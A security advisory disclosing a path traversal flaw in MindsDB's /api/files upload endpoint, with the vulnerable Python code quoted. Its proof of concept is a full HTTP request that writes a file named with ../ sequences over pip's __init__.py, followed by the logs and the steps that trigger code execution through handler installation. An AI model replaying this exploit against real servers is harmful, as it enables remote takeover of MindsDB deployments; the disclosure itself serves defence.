CVE-2026-27483: MindsDB has Path Traversal in /api/files Leading to Remote Code Execution

Summary

There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.

Details

The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py: python @nsconf.route("/<name>") @nsconf.param("name", "MindsDB's name for file") class File(Resource): @nsconf.doc("putfile") @apiendpointmetrics('PUT', '/files/file') def put(self, name: str): """add new file params in FormData: - file - originalfilename [optional] """

data = {} mindsdbfilename = name

existingfilenames = ca.filecontroller.getfilesnames()

def onfield(field): name = field.fieldname.decode() value = field.value.decode() data[name] = value

fileobject = None

def onfile(file): nonlocal fileobject data["file"] = file.filename.decode() fileobject = file.fileobject

tempdirpath = tempfile.mkdtemp(prefix="mindsdbfile")

if request.headers["Content-Type"].startswith("multipart/form-data"): parser = multipart.createformparser( headers=request.headers, onfield=onfield, onfile=onfile, config={ "UPLOADDIR": tempdirpath.encode(), # bytes required "UPLOADKEEPFILENAME": True, "UPLOADKEEPEXTENSIONS": True, "MAXMEMORYFILESIZE": 0, }, )

while True: chunk = request.stream.read(8192) if not chunk: break parser.write(chunk) parser.finalize() parser.close()

if fileobject is not None: if not fileobject.closed: try: fileobject.flush() except (AttributeError, ValueError, OSError): logger.debug("Failed to flush fileobject before closing.", excinfo=True) fileobject.close() fileobject = None else: data = request.json Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clearfilename and savefile, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.

PoC

This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.

The API endpoint /<handlername>/install is used to install handlers, which internally calls installdependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:

1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/init.py with a malicious Python script. 2. Trigger the execution of the malicious script by calling /<handlername>/install, which invokes pip. Exploit： PUT /api/files/mm HTTP/1.1 Host: ip:47334 Content-Length: 579 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/plain, / Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9 Origin: http://ip:47334 Referer: http://ip:47334/fileUpload Accept-Encoding: gzip, deflate, br Accept-Language: zh,en;q=0.9,zh-CN;q=0.8 Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be Connection: keep-alive

------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="name"

mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source"

mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="sourcetype"

file ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/init.py" Content-Type: text/plain

import os os.system("touch /tmp/rcebyhacker") ------WebKitFormBoundaryv9dZC0cAHLlHSHD9-- After sending this request, you can observe the logs in Docker's output: 2025-05-30 02:26:52,432 http INFO pythonmultipart.multipart: Opening a file on disk 2025-05-30 02:26:52,433 http INFO pythonmultipart.multipart: Saving with filename in: b'/root/mdbstorage/tmp/mindsdbbyomfile89h0zcz0' 2025-05-30 02:26:52,433 http INFO pythonmultipart.multipart: Opening file: b'/root/mdbstorage/tmp/mindsdbbyomfile89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/init.py' At this point, you can see that the file has been successfully overwritten: root@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/init.py import os os.system("touch /tmp/rcebyhacker") Afterwards, install any handler in the UI, and you will see that the file rcebyhacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.

Credit

This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

If there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.